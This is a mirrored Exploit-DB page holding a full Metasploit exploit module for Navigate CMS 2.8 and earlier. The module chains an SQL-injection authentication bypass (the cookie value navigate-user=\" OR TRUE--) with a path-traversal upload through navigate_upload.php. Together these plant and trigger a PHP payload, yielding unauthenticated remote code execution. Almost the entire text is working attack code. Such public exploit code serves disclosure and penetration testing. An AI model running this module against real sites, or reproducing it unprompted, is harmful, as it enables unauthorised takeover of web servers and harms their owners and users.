Navigate CMS – (Unauthenticated) Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-10-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45561/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
    'Description' => %q(
    This module exploits insufficient sanitization in the database::protect
    method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
    
    The module then uses a path traversal vulnerability in navigate_upload.php
    that allows authenticated users to upload PHP files to arbitrary locations.
    Together these vulnerabilities allow an unauthenticated attacker to
    execute arbitrary PHP code remotely.
    
    This module was tested against Navigate CMS 2.8.
    ),
    'Author' =>
    [
    'Pyriphlegethon' # Discovery / msf module
    ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2018-17552'], # Authentication bypass
    ['CVE', '2018-17553']# File upload
    ],
    'Privileged' => false,
    'Platform' => ['php'],
    'Arch' => ARCH_PHP,
    'Targets' =>
    [
    ['Automatic', {}]
    ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Sep 26 2018'))
    
    register_options [
    OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
    ]
    end
    
    def login_bypass
    check_resp = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/login.php')
    )
    
    login_bypass_resp = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/login.php'),
    'cookie' => 'navigate-user=\" OR TRUE--%20'
    )
    
    if login_bypass_resp &&
     login_bypass_resp.code == 302 &&
     check_resp.body.include?('Navigate CMS')
    session_id = login_bypass_resp.get_cookies_parsed
    .values.select { |v| v.to_s.include?('NVSID_') }
    .first.first
    return session_id
    end
    end
    
    def check
    return CheckCode::Vulnerable if login_bypass
    CheckCode::Safe
    end
    
    def exploit
    session_id = login_bypass
    fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
    
    print_good('Login bypass successful')
    
    php = payload.encoded
    data = Rex::MIME::Message.new
    data.add_part(php, 'image/jpeg', nil,
    "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
    data_post = data.to_s
    
    upload = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
    'vars_get' => Hash[{
    'session_id' => session_id,
    'engine' => 'picnik',
    'id' => '../../../navigate_info.php'
    }.to_a.shuffle],
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data' => data_post
    )
    
    fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
    fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
    
    print_good('Upload successful')
    
    print_status('Triggering payload...')
    send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
    )
    end
    
    def on_new_session(session)
    super
    if session.type != 'meterpreter'
    print_error('Unable to restore navigate_info.php')
    return
    end
    
    session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
    
    begin
    session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
    rescue
    print_error('Unable to restore navigate_info.php')
    end
    end
    end